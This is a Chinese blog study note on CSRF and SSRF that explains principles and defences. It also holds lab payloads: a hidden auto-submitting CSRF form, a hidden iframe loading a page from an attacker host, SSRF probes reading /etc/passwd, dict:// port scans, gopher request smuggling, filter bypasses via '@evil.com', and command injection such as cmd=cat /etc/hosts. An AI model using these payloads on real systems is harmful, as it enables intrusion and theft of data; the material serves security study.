CSRF与SSRF

《WEB安全基础》 / csrf / ssrf
字数统计: 8.4k   |   阅读时长≈ 31 分钟

一、CSRF:

漏洞解释与原理

解释：

跨站请求伪造（Cross-Site Request Forgery，CSRF），完全不同于XSS攻击。

XSS攻击侧重于获取用户的权限及信息，而CSRF则是攻击者可伪造当前用户的行为，让目标服务器误以为请求由当前用户发起，并利用当前用户权限实现业务请求伪造。

XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户请求受信任的网站。

可见，CSRF侧重于伪造特定用户的请求。

原理：

攻击者先伪造一个页面，该页面功能就是为了伪造当前用户请求。

当用户点击了恶意页面，会自动向当前用户的服务器提交攻击者伪造的业务请求，这个恶意请求还是以当前用户的身份发起的。

CSRF攻击的效果是在当前用户不知情的情况下，以当前用户的身份发送业务请求并执行。

条件：

要攻击形成有效的CSRF攻击必须满足三个条件：

1）用户处于登录状态。

2）伪造的链接与正常应用请求链接一致。

3）后台未对用户业务开展合法性做校验。

一次csrf攻击的必要步骤：

1.受害人登录受信任站点A，并在本地生成Cookie

2.不登出A的情况下，访问危险站点B

参考：CSDN[零点敲代码]http://t.csdn.cn/k7lkP

漏洞检测与案例

pikachu csrf

用户lili信息界面

我们构造一个代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>
<center><h1>图片展示</h1></center>
<div>
    <form action="http://localhost:81/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" name="form" method=
"post" role="form">  //这个action就是pikachu用户的信息修改界面
    <input type="hidden"  name="sex" value="CSRF">
    <input type="hidden"  name="phonenum" value="79">
    <input type="hidden"  name="add" value="CSRF">
	<input type="hidden"  name="email" value="CSRF@csrf">

    <input type="submit"  name="submit" value="View my pictures"/>

    </form>
</div>

因为实际情况是让用户点击的。

我们略过诱骗的部分，假设用户已经点击了。

点击一下View my pictures.

当然了,get型要容易一些，比如

1
2
3
...
 <a href="http://localhost/CSRF%20DEMO/GET/content.php?user=user&title=csrf&text=oday">View my Pictures!</a>
 ...

POST请求方式的复杂之处在于需要创建一个隐藏表单，当用户访问时自动提交表单至目标连接，即可实现CSRF攻击

漏洞场景利用

虽然属于被动引发，但危害还是有滴。比如：

1）当用户是管理员时，如果存在CSRF漏洞，则攻击者可根据业务功能特点构造语句，在管理员不知情的情况下发起某项业务请求（如添加账号、删除某篇文章等），并且攻击者构造的请求会以当前管理员的身份发出并执行。

2）针对个人用户，如果CSRF漏洞配合存储型XSS漏洞，可实现在当前用户页面上嵌入攻击伪造链接，从而大大增加用户点击的可能性，形成触发攻击的隐患。若社交类网站上存在此类问题，则会产生类似蠕虫的攻击效果。

3）在部分管理系统中，考虑到用户使用系统的便利性，可以在后台Web页面上开发特定功能来实现针对管理系统的参数调整。每次在针对管理系统进行参数调整时，都会向服务器发起一次请求。因此，如果CSRF伪造管理员的高危功能管理请求并诱导管理员执行，那么会对当前系统造成非常大的危害。

防御方案

CSRF一般是由于Web系统对当前用户身份的验证不足而造成的，比如目标站点并未对提交的请求做合法校验，导致任意请求均可执行（在用户合法登录的前提下，业务流程正常的请求）。

常用的防护手段重点在于为关键业务点添加合理的验证方式，以实现对用户合法身份的二次确认。

1.添加中间环节

由于攻击者只能仿冒用户发起请求，并不能接收服务器的响应内容，因此可在请求被执行前添加防护措施。主要思路为在发起关键业务的请求时，多添加一步验证环节，并且保证验证环节的内容无法被攻击者获取或碰撞，从而有效避免攻击者伪造请求的情况。这个过程中，常用的方式有以下两种。

1.添加验证过程

CSRF漏洞可成功利用的一个显著特点是攻击者伪造的用户请求会被服务器实际执行。对此，最有效的手段就是在其中添加一个中间过程，如让用户进行确认，从而可以避免这类问题的出现。

一般效果就是，提交了修改信息，会弹出一个二次确认框，让用户二次确认。攻击者伪造的页面是接收不到这个确认内容的。

注意的是：确认流程应由页面接受后在前台进行显示，不要利用纯前端的技术来实现，如利用JS代码来实现上述确认功能，否则就会失去原有的意义。

2.验证码

用户在提交内容时需要输入验证码，利用验证码来确认是否为当前用户发起的请求。验证码对于CSRF攻击防护效果良好，但是验证码最好在关键的业务流程点使用。如果在业务流程中过多使用验证码，会导致用户体验严重下降，直接影响到用户的行为。因此不建议过多使用。

2.验证用户请求合法性

防护CSRF漏洞的另一个方面是需要对每次请求的合法性进行校验，保证当前由用户发起的请求为用户本人。这是解决CSRF的成因——伪造用户请求的最直接方式。

1.验证referer

由于CSRF请求发起方为攻击者，因此在referer处，攻击者与当前用户所处的界面完全不同。可通过验证referer值是否合法，即通过验证请求来源的方式确定此次请求是否正常。但是，在某些情况下referer验证存在缺陷，那么可以利用各种伪造的方式实现对referer验证的绕过。推荐利用referer来监控CSRF行为，如果将其用于防御，效果并不一定良好。

2.token

针对CSRF漏洞，在建设Web系统时一般会利用token来识别当前用户身份的真实性。token在当前用户第一次访问某项功能页面时生成，且token是一次性的，在生成完毕后由服务器端发送给客户端。用户端接收到token之后，会在进行下一步业务时提交token，并由服务器进行有效性验证。由于攻击者在CSRF利用时无法获得当前用户的token，导致就算链接发送成功，也会由于没有附带token值，导致针对请求的验证发生错误，当前攻击请求也就无法正常执行。

基础token代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
session_start();  
function token_start() {  
    $_SESSION['token'] = md5(rand(1,10000));  
}  
  
function token_check () {  
    $return = $_REQUEST['token'] === $_SESSION['token'] ? true : false;  
    token_start ();  
    return $return;  
}  
  
//如果token为空则生成一个token  
if(!isset($_SESSION['token']) || $_SESSION['token']=='') {  
    token_start ();  
}  
  
if(isset($_POST['test'])){  
    if(!valid_token()){  
        echo "token fail";  
    }else{  
        echo 'success，Value:'.$_POST['test'];  
    }  
}  
/*这里利用10000以内的随机数的MD5值作为token（仅作示例），或者利用PHP基于当前时间（微秒）生成唯一ID的函数unipid（）。之后，根据当前用户提交的情况进行token验证及更新。这里可以看到，在每次访问之后都会进行token更新（无论提交成功还是失败）。*/

使用token时需遵循以下原则：

1）token必须为一次性，无论该业务流程执行成功还是失败，在每次用户请求时均重新生成token并在客户端进行更新。

2）token需有较强的随机性，避免采取简单的可预测的方式，使攻击者猜测出token的生成规律，进而导致token失效。

csrf漏洞总结

对于XSS攻击，CSRF攻击的原理、攻击目标均不相同，使用条件也较为苛刻。

与XSS防护不同的是，CSRF防护不会关注对连接、提交参数的过滤，而是重点对业务开展的合法性进行验证，如验证请求是否来自当前用户、在重点功能处添加验证环节、通过token进行验证等。

  1. 当用户发送重要请求时，需要再输入密码
  2. 设置随机token
  3. 检验Referer来源，请求时判断请求链接是否为当前管理员正在使用的页面（比如点击危险的修改密码链接时，管理员需要有修改密码的页面，而不是编辑文章的页面）
  4. 验证码
  5. 限制为只能post请求

20230922,

一般来说，攻击者是这样攻击的：

将csrf.html文件，比如(可以修改用户的密码为设定好的值),放到攻击者的服务器上，让 受害者去主动访问攻击服务器上的页面

这个主动访问嘛，有个情况如下：如果有一个公共的留言板功能，它呢，有xss存储漏洞，攻击者可以去提交一下内容如下

<iframe src="http://attack.ip/csrf.html" style=display:none>222222

这个效果是只能看到后面的22222的哈

如果受害者也停留在了留言板上，点击了这个内容，嗯，就中招了

这个就是一种跨域访问

SSRF:

SSRF
是什么
SSRF(Server-Side Request Forgery 服务器请求伪造)
目标 ：从外网无法访问的内部系统
原因 ：服务器端提供了从其他服务器应用获取数据的功能且没有对目标地址过滤和限制
挖掘
web功能上
分享
URL地址分享网页内容
转码服务
通过url地址把原地址网页内容调优使其适合手机屏幕浏览
在线翻译
通过url地址翻译对应文本内容
图片加载与下载
通过url地址加载或下载图片
图片、文章收藏功能
未公开的api实现以及其他调用url功能
URL关键字中找
share
wap
url
link
src
source
target
u
3g
display
domain
source(image)url
验证
基本判断
burpsuite抓包
右键打开图片
绕过
子主题 1
子主题 2

解释：

服务器端请求伪造（Server-Side Request Forgery，SSRF）是另一种服务器端请求伪造的形式，攻击者可构造由服务器端发起请求的安全漏洞。相对于跨站请求伪造，服务器端请求伪造可让服务器执行一些在用户侧无法实现的效果，如内网探测、加载特定图片和文件等。

这种从其他服务器应用获取数据的功能，可以使用用户指定的URL，web应用可以获取图片，下载文件，读取文件内容等。这个功能如果被恶意使用，没有对目标地址做严格过滤与限制，导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者—–>服务器—->目标地址

SSRF虽然无法直接请求内网的其他主机信息，但是可以借助能访问的服务器，当做跳板，进而进行攻击。（用网站自己打自己内网）

20230928

一般来说，服务器比较被动，有客户端请求它，它才给响应

但有时候，服务器可以作为客户端的

也就是说目标服务器a还是有访问公网能力的，只要攻击者构造一个恶意的公网服务器b，让a去访问b，那就被拿捏了呀

以php为例，它的常见函数

file_get_contents();

fsockopen();

curl_exec();

通过网络协议去远程访问目标服务器的资源

ssrf攻击

在Web应用中，存在着大量需要由服务器端向第三方发起请求的业务。

例如，大多数网站具备的天气显示功能，页面首先会获取当前用户的IP地址，并根据IP地址所在的地理位置信息，向第三方天气查询服务器发起请求，最后将结果回显给用户。

这类业务的核心问题在于服务器需根据用户提交的参数进行后续的业务流程，因此如果用户提交恶意的参数信息，并且服务器未对用户提交的参数进行合法性判断而直接执行后续请求业务，就会导致出现安全隐患，这也是SSRF漏洞的主要成因。

SSRF攻击相对于CSRF攻击来说，攻击者需伪造的请求为服务器端发起的内容。

前提：

“攻击者可能要知道，目标机内部使用的API(第三方Open API，如Google API、AWS API等等)——20230903”

Web服务器存在向其他服务器发起请求并获取数据的功能，并且获取过程中并未对目标地址进行安全过滤或加以限制，导致服务器的请求被伪造，进而实现后续的攻击。

在某种程度上，可认为SSRF漏洞本质上是利用服务器的高权限实现对当前系统敏感信息的访问。

由于SSRF漏洞存在的前提是服务器具有主动发起请求的功能，因此如果能控制服务器的漏洞点，那么就可实现大量针对内网及服务器的各类型探测及攻击。

《WEB安全基础》所给的可能存在SSRF漏洞缺陷的目标有以下几种

·图片加载与下载功能

通过URL地址远程加载或下载图片，常见于很多转载行为或远程加载。由于远程加载图片可有效降低当前服务器的资源消耗，因此得到广泛使用。

·本地处理功能

例如，业务流程中需要对用户输入的参数进行本地处理，如要获取提交的URL中的header信息等，这类业务都会由服务器发起请求。

·各类辅助功能

可针对用户输入的参数添加各类辅助信息，提升参数的可视化效果。

·图片、文章收藏功能

将远程地址进行本地保存，这样可让用户在重新发起请求访问时由服务器重新加载远程地址即可。

以上场景在用户视角理解起来比较抽象。下面通过实际案例讲解SSRF的攻击流程。

百度给出的ssrf攻击效果为

1.可以对外网、服务器所在内网、本地进行端口扫描，获取一些服务的banner信息;

2.攻击运行在内网或本地的应用程序（比如溢出）;

3.对内网web应用进行指纹识别，通过访问默认文件实现;

4.攻击内外网的web应用，主要是使用get参数就可以实现的攻击（比如struts2，sqli等）;

5.利用file协议读取本地文件等。.

6.各个协议调用探针：http,file,dict,ftp,gopher等

http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21

参考：CSDN[零点敲代码]http://t.csdn.cn/sb9kA

  • 危害：SSRF攻击的危害主要在于攻击者可以利用受影响的服务器来访问内部网络资源、绕过防火墙访问外部服务、执行远程代码等，导致数据泄露、服务器劫持等问题。
  • 防护措施：SSRF攻击的防护措施包括对用户输入进行严格过滤和验证、限制服务器请求的目标地址、使用白名单控制外部访问、限制服务器访问权限等。

特点

20230903更新

攻击者无法直接访问目标机器 2 的服务

目标机器 1 能够访问目标机器 2 的服务

目标机器 1 暴露了访问目标机器 2 的方式，攻击者能够利用

所以，不同于客户端与服务端交流时，服务端发起的响应包

比如一个网站的后端服务器需要与其他服务器交互来获取数据或与第三方服务进行通信，如果没有适当的安全措施，就会暴露这个啦

检测

20230903更新

  1. 因为 SSRF 漏洞是让服务器发送请求的安全漏洞，所以可以通过抓包分析发送的请求是否是由服务器的发送的(见特点所述)，从而来判断是否存在 SSRF 漏洞
  2. 在页面源码中查找访问的资源地址 ，如果该资源地址类型为 www.baidu.com/xxx.php?image=（地址）的就可能存在 SSRF 漏洞

ps:来源Geekby

利用场景

利用SSRF漏洞寻找本地存在的路径

先构建一个场景，前端输入目标url，服务器用来获取该url的title信息。

前端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
<head>
</head>
<body>
<form action="lx2.php" method="post">

<input type="text" name="username" />
<input type="password" name="pwd"/>
<input type="submit" name="提交"/>
</form>
</body>
</html>

后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
    $ch = curl_init();
    $timeout = 5;
    curl_setopt ($ch, CURLOPT_URL, $_POST['username']);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    $file_contents = curl_exec($ch);
    curl_close($ch);
    
    preg_match("/<title>(.*)<\/title>/i",$file_contents, $title);
    echo $title[1];
?>

访问url，获取页面title信息

此功能是对输入的URL首先发起请求，并利用正则表达式提取响应内容中的title信息此功能是对输入的URL首先发起请求，并利用正则表达式提取响应内容中的title信息

如果我访问我本地的路径

http://localhost:81/DVWA/login.php

结果为

Login :: Damn Vulnerable Web Application (DVWA) v1.10 Development

在真实的SSRF漏洞利用过程中，攻击者还会逐步修改提交URL的路径内容，以实现对目标服务器本地路径的全面检查。当路径出现title信息时，可判断存在对应内容，并且可通过title内容来判断路径的功能。如果服务页面没有对用户提交的URL进行范围限定，还可尝试对当前内网连接进行请求，并获取内部的信息。

利用SSRF漏洞来发现内网应用

这个是说：

假设有两个内网网段，其中内网1用于模拟正常用户，内网2用于模拟服务器。内网1与内网2无法直接互通，只能利用特定服务器实现应用的开展。假设SSRF环境为真实系统，并且具有内网的访问权限。这里利用漏洞环境进行测试，输入已知的内网服务器地址http://172.29.152.197:8000并提交，可获取到该URL的title信息（我没有配置，不太懂）

SSRF漏洞的利用与攻击内网应用_Qwzf的博客-CSDN博客

利用这种方式，可以发现原本攻击者网络不可达的功能页面。SSRF的主要作用是尽可能获取目标系统的内部信息，这些信息会为攻击者后续攻击提供非常大的便利。假设未来利用其他漏洞获得内网的访问权限，那么即可根据之前发现的链接来尝试获得更多的信息。

根据存在SSRF漏洞的不同业务功能环境，SSRF漏洞可实现的攻击效果为：

1）对内网Web应用特征进行发现。

2）对服务器所在内网进行各类信息探测。

3）利用File协议读取本地文件。

4）针对特定目标进行攻击时隐藏攻击发起地址。

总体来说，SSRF漏洞的实际利用方式及利用效果完全受制当前的业务环境。在早期的Web系统中，会存在大量这类需要服务器发起请求的业务功能，但随着互联网应用的快速发展，各类类型的功能趋近于整合，这类需要服务器发起请求的业务功能类型也逐渐减少。而且，SSRF漏洞攻击过程不会直接威胁到系统权限，但仍不能忽视漏洞的威胁。

验证

1.排除法：浏览器f12查看源代码看是否是在本地进行了请求
比如：该资源地址类型为 http://www.xxx.com/a.php?image=（地址）的就可能存在SSRF漏洞
2.dnslog等工具进行测试，看是否被访问
–可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64，这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
3.抓包分析发送的请求是不是由服务器的发送的，如果不是客户端发出的请求，则有可能是，接着找存在HTTP服务的内网地址
–从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
–通过二级域名暴力猜解工具模糊猜测内网地址
4.直接返回的Banner、title、content等信息
5.留意bool型SSRF
————————————————
版权声明：本文为CSDN博主「Never say die _」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/qq_45612828/article/details/126193765

绕过

1.绕过IP

1）使用IPV6地址
2）对IP转化成十进制，八进制等，如0177.0.0.01（八进制）
3）利用特殊域名。xip.io可以指向任意域名，即127.0.0.1.xip.io，可解析为127.0.0.1
4）利用句号。如127。0。0。1
5）可以[::]。如http://[::]:80/
6）利用短网址。比如百度短地址
————————————————
版权声明：本文为CSDN博主「Never say die _」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/qq_45612828/article/details/126193765

2.绕过url解析限制

  • 1）使用@符号绕过：如127.0.0.1 @evil.com
  • 2）利用302跳转，需要一个vps，把302转换的代码部署到vps上，然后去访问，就可跳转到内网中

3.DNS重绑定攻击

Geekby’s Blog

案例

PHP中可能存在ssrf的函数

1）file_get_contents():把整个文件读入一个字符串中，该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持，还会使用内存映射技术来增强性能;支持http(s),file协议，在PHP5.4上测试不支持dict，ghoper协议。
2）fsockopen():打开一个网络连接或者一个Unix套接字连接，在PHP5.4上测试只有http协议成功
3）curl_exec():用于执行指定的CURL会话，支持的协议比较多，常用于SSRF的协议经过测试都支持，如dict,ghoper,file。有的协议需要一定的条件这点需要注意。
————————————————
版权声明：本文为CSDN博主「Never say die _」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。
原文链接：https://blog.csdn.net/qq_45612828/article/details/126193765

防御

CSRF漏洞与SSRF漏洞的主要区别在于伪造目标的不同。其次，两种角色（客户端、服务器端）主要实现的功能也有非常大的区别。但从漏洞防护视角来看，其防护思路及方式非常相似，重点需要针对请求伪造的问题进行处理。即：

·用户请求的合法性。

·服务器行为的合规性。

有效的手段是在业务开展过程中针对业务的关键点进行重点内容过滤。相对CSRF漏洞防护方法来说，更推荐在SSRF防护方面优先利用各类黑白名单手段对用户输入的内容进行合法性识别，并且严格对用户输入参数进行格式及长度限制。

在CSRF漏洞防护中最有效的token防御机制，针对SSRF漏洞则效果较差。

因为ssrf的攻击过程由攻击者自行控制。

百度收集的防御手段：

1,过滤返回信息，验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息，避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口，比如，80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据，攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

6.在URL中提供host，进行DNS解析，获取到解析的IP，检测该IP是否合法

参考：CSDN[零点敲代码]http://t.csdn.cn/sb9kA

ssrf总结

ssrf通过欺骗服务器发起请求到攻击者指定的URL，可以是外部URL或内部网络的URL。

主要原因在于服务器对用户提供的URL或调用远程服务器的返回信息没有进行验证及过滤，导致传入服务器的数据可能存在其他非正常行为。而且这类非正常行为会被执行和回显。

针对这类情况，有效的防护手段包括：

1）双向过滤用户端参数，严格限定输入参数、返回结果的数据类型及内容。

2）限制请求行为端口，并针对具有服务器请求业务的网络范围进行严格划分。

3）针对内网地址添加黑\白名单，参考以上实例。

4）尽可能实现业务集中化调用，并尽量减少这类直接发起主动请求的业务行为。

针对SSRF漏洞防护，最合理的措施是从开发阶段就针对服务器的主动请求行为进行统一规划及防护，从而有效解决上述问题。

补充

如果可以从指定 URL 地址获取网页文本内容、加载指定地址的图片、下载等。

那么对于这个地址，攻击者输入一个内网ip，服务存在，则能请求成功，进而判断内网服务的情况。

对外网、服务器所在内网、本地进行端口扫描（敏感端口），获取一些服务器的banner信息

攻击者可以输入一些不常见，但有效的 URL，比如

1
2
3
http://example.com:8080/...
http://example.com:22/...
http://example.com:3306/...
  • 根据服务器的返回信息来判断端口的开放情况，大部分的应用并不会去判断端口，只要是有效的 URL，就会发出请求
  • 对于大多数应用，一般不会直接返回 banner 信息，可以通过报出的错误信息、响应时间、响应包大小来判断

2023.7.6更新了一下

判断

首先，一个网站，它如果有查询网站功能、识图功能、天气查询之类的都可以试一试。

以查询网站功能为例

输入经典的外网url

https://www.baidu.com/robots.txt 访问百度的robots.txt

如果回显了，再试试内网

127.0.0.1

一般是当前浏览界面的“套娃”，基本可以判定存在咯。

获取本地信息

file:///etc/passwd #本地文件信息

file:///etc/hosts #看机器内网地址

…/etc/network/interfaces #机器网络状况

比如内网地址为172.72.23.20

探测内网端口

这个探测的是172.72.23.1/24 这网段的端口

burp，爆破，

主机号范围反正就在1-254之间

端口从21开始递增

dict://172.72.23.$21:$端口

也可http协议获取内网中web应用信息情况

代码注入

ip/phpinfo.php

或上传一句话

内网目录扫描

使用 Burpsuite 自带的 Grep - Extract 可以快速地筛选页面正则匹配的结果；字典爆破

代码执行

若内网的有些php文件嘞，用了system这样不安全函数

以get变量为例，直接访问url

http://ip/index.php?cmd=cat /etc/hosts

空格可以用%2520，二次编码

内网SQL 注入

万一里面是一个ID查询员工信息的网页

1.sql注入

2.通过sql语句，往网站目录写shell（即将已知文件夹路径里写进一个文件，需要写权限；into dumpfile）

内网命令执行

典型场景是，一个ping ip的输入框；POST 方式吧，提交参数为 ip|ipconfig之类的。

但是内网的话，Post怎么触发。内网无法用http协议传递post了。

所以引入了gopher协议。

格式

gopher://<host>:<port>/<gopher-path>_<TCP数据流>

可以传递最底层的 TCP 数据流，因为 HTTP 协议也是属于 TCP 数据层的，所以通过 gopher 协议传递 HTTP 的 POST 请求也是轻而易举的。

首先来抓取正常情况下 POST 请求的数据包，删除掉 HTTP 请求的这一行：

1
Accept-Encoding: gzip, deflate

否则，ssrf请求会乱码

再将bp中的数据包内容全选，并两次url编码

两次 URL 编码后的数据就最终的 TCP 数据流，最终 SSRF 完整的攻击请求的 POST 数据包如下：

gopher://<host>:<port>/<gopher-path>_<两次url编码后的TCP数据流>

在bp的末尾加上即可。ip=…

20230903

这个伪造请求的最终目的是为了给内网的服务器

如何伪造

根据第三方Open API有关的endpoint和payload，伪造一个符合API的endpoint和payload的请求

如何通过中间服务器去做

可通过目录遍历去指定中间服务器 去请求内部服务器的哪个API网址(endpoint)

实例

假设有一个留言板网址，后端API如下：

1
2
3
4
新增留言：
POST http://internal.corp.com/${userId}/posts?message=${message}&token=${token}
管理者更新留言：
POST http://internal.corp.com/admin/posts/${postId}?message=${message}

对于新增留言API：用了token，确认用户身份，userid为用户的编号，message为留言内容

对于管理者更新留言API：这一个API可以使得管理者更新恶意的留言内容，postid为留言编号。 然后，开发者认为后端API是部署在内网的，就没有使用任何token验证，且不会有其他人得到[管理者更新留言API]

为了串接后端API和前端呢，又来了一个中间层，其使用的API为：

POST http://example.com/api/${userid}/posts?

这个中间层是没有暴露[管理者更新留言]的API，internal.corp.com又在内网，开发者认为很安全！

但是嘞，目录遍历漏洞的话，攻击者可以更新留言，已知留言的postid为1234，攻击者请求 /api/${userid}/posts的时候，不是只传送userid，而是

1
admin/posts/1234?message=hacked&

可以编码一下

1
admin%2Fposts%2F1234%3Fmessage%3Dhacked%26

这串伪造请求，可以同时满足中间服务器和内部服务器，且目标是目的服务器。

但是，攻击者怎么知道管理员的API？ 字典够多，不断爆破

最终变成：

1
internal.corp.com/admin/posts/1234?message=hacked&

防御

所以呢，服务器防御重点就是

阻挡伪造请求

避免伪造请求生效

  • 避免目录遍历
  • API权限
  • 内部API除了防火墙也要token保护
  • 内部文件避免 files://直接存取

https://medium.com/程式猿吃香蕉/網站安全-伺服器請求偽造-ssrf-攻擊-項莊舞劍-意在沛公-7a5524926362

xxe(暂略)

参考

国光的博客

  • 版权声明： 本博客所有文章除特别声明外，著作权归作者所有。转载请注明出处！
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信